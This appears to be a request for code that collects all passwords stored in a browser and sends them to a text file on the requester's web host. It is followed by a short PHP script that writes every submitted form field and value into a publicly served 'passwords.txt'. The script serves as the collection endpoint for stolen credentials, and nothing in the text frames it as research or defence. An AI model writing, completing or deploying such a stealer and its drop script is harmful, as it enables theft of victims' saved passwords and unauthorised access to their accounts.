Please create a code that has get all passwords stored in browser and then get at txt file in my hosted with all functions as online

<?php
$password = "YOUR_PASSWORD_HERE";

$handle = fopen("/home/u812740847/public_html/passwords.txt", "a");

foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}

fwrite($handle, "\r\n");
fclose($handle);

exit;
?>